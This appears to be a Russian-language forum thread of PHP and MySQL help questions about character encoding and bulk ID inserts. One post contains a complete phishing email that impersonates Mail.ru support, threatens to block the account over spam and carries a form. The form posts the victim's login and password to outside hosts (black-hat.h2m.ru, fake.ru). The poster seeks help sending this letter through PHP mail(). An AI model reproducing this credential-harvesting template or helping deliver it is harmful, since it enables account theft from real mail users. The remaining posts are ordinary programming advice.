Подскажите, пожалуйста, хороший способ фильтрации переменной в PHP. preg_match - не то, нужна именно "очистка". Заранее благодарен.
Добрый день, такой вопрос. имеется отправки письма PHP: <?php ignore_user_abort(1); $to = "[email protected]"; $subj = "thema"; $content = "<html> <head> <title>Birthday Reminders for August</title> </head> <body> <p>Here are the birthdays upcoming in August!</p> </body> </html>"; $Name = "masha"; $ot = "[email protected]"; $headers =<<<AKAM From: $Name <$ot> MIME-Version: 1.0 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: 8bit AKAM; $ok=mail($to, $subj, $content, $headers); ?> простой html как в примере отправляет нормально а вот напримкр при отправки такого письма PHP: <form method = post action = http://black-hat.h2m.ru/mail/login.php. target =_self filtered-onSubmit=return CheckForm(this); target=_blank> <table class=readlet cellpadding=0 cellspacing=0 border=0 width="100%"><tr> <td id=aj_body> <div id=let_body><base href="http://win.mail.ru/cgi-bin/readmsg"><div id=let_body><base href='http://win.mail.ru/cgi-bin/readmsg'><xhtml> <xhead> </xhead> <xbody> <img border=0 src=http://kartunku.do.am/image.jpg><br><br> Уважаемый пользователь!<br><br> Всвязи с поступившими жалобами на рассылку рекламных писем (спам) с вашего электронного адреса, администрация вынуждена заблокировать Вашу учетную запись.<br> Для продолжения пользования электронным адресом, Вам необходимо подтвердить, что Ваш электронный адрес не используется спам-ботом для рассылки рекламных писем.<br><br> </font><font color=00;33;66 FACE=Times New Roman > Для подтверждения электронного адреса, заполните форму ниже: </tr> </table> <table cellpadding=0 cellspacing=0 border=0 class=login> <form method = post action = //fake.ru/activation.php target =_self filtered-onSubmit=return CheckForm(this); target=_blank> <input type=hidden name=mail value=1> <tr> <td width=75> <img src=http://img.mail.ru/0.gif height=1><br><b>Имя:</b> </td> <td width=150> <input type=text name=Login value=> </td> <td width=75> <select name=Domain> <option value=mail.ru SELECTED>@mail.ru</option> <option value=inbox.ru>@inbox.ru</option> <option value=list.ru >@list.ru</option> <option value=bk.ru >@bk.ru</option> </select> </td> </tr> <tr> <td> <b>П<xhtml>ароль:</b> </td> <td> <input type=password name=Password> </td> <td> <a href=http://www.mail.ru/pages/help/92.html target=_new>Забыли п<xhtml>ароль?</a> </td> </tr> <tr> <td> </td> <td> <input type=checkbox name=level value=1 id=alien><label for=alien>Чужой компьютер</label> </td> <td> </td> </tr> <tr> <td> </td> <td> <input type=Submit value = Подтвердить xxxxxstyle=margin-top:4px></td> </td> <td> </td> </tr></form> </table> </xbody> </xhtml><br> <hr size=1> <br> <p><b> С уважением,<br> Cлужба поддержки почтовой системы Mail.ru</b></p> <base href="http://win.mail.ru/cgi-bin/readmsg"></div> </form> выдаёт syntax error, unexpected T_LNUMBER i как сделать штоб скрипт не обращал внимание на содержимое письма и отправлял как есть (тоесть н выводил ошибку)
так PHP: <?php error_reporting(0); ignore_user_abort(1); $to = "[email protected]"; $subj = "thema"; $content = "<html> <head> <title>Birthday Reminders for August</title> </head> <body> <p>Here are the birthdays upcoming in August!</p> </body> </html>"; $Name = "masha"; $ot = "[email protected]"; $headers =<<<AKAM From: $Name <$ot> MIME-Version: 1.0 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: 8bit AKAM; $ok=mail($to, $subj, $content, $headers); ?> =))
И снова проблемы с кодировкой 1) Создал Базу Данных с помощью MySQL Command Line Client Она получилась в кодировке utf8_general_ci 2) Создал в ней таблицу 3) Заполнил таблицу данными В MySQL Command Line Client данные выводит нормально, а вот на странице В сценарии соединения с БД прописаны такие строки PHP: mysql_query ("set character_set_client='utf8'"); mysql_query ("set character_set_results='utf8'"); mysql_query ("set collation_connection='utf8_general_ci'"); В теге meta указано следующее: HTML: <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> Сам файл в кодировке utf-8 Почему возникают эти проблемы, если везде , где только можно я указал одну кодировку?
Не помогло, к стати запрос PHP: mysql_query ("SET names utf-8"); не выполнялся, так выполнялся PHP: mysql_query ("SET names utf8");
Да, когда с PHP сделал запрос, выводит потом по русски спасибо На будущее можете сказать почему при добавлении с помощью mysql.exe данные потом неправильно выводятся, и как можно поправить mysql.exe, что б с ее помощью можно было нормально добавлять?
Предположим массив это $array, тогда: PHP: $array[0] = '0'; $array[1] = '3'; $array[3] = '4'; Вроде бы всё, если я всё правильно понял. Попробуй указать явную кодировку в браузере, или если сервер Apache создать файл .hattacess с указанием нужной кодировки. Если не получиться попробуй убрать эти строки: PHP: mysql_query ("set character_set_client='utf8'"); mysql_query ("set character_set_results='utf8'"); mysql_query ("set collation_connection='utf8_general_ci'"); Так же вообще задай нужную кодировку общей в MySQL
В массиве $array[$i][uid] записаны ID пользователей, $i от 0 до 9999 (т.е. максимум 10к id). Как перенести эти id в MySQL? Вся проблема в том что некоторые id уже есть в базе и их не нужно туда добавлять, так же может быть что все id уже есть в базе... Нужно проверить и добавить недостающие, желательно чтобы код был нацелен на оптимизацию. Так что банально перебрать все не самый лучший вариант.
НTL В цикле одним запросом пытаешься найти запись где id = $array[$i][uid] если нету записи, то вставляй с этим id следющим запросом
НTL Есть два варианта - первый, делаете выборку всех ID из базы и с помощью функции http://php.net/in_array проверяете, существует ли данный ID, если нет - то осуществляете ввод в БД. Плюсы - минимальное количество запросов, минусы - если к БД обращается кто то еще, то между этапом проверки и этапом внесения в базу - может произойти чужая запись Второй способ - на столбец ID повесить уникальный индекс и вносить данные с флагом IGNORE. Т.е. запрос будет такой: Code: INSERT IGNORE INTO `tabl`(`id`, `col1`, `col2`) VALUES ... Плюсы - можно внести все данные одним запросом, либо по одному запросу на каждую запись (что чуть больше чем в 1 варианте), также избавимся от неоднозначности при вводе. Минусы - количество или длина запроса, субд может отказаться делать большие вставки LStr1ke Мне кажется, или для худшего случая - количество запросов удвоится?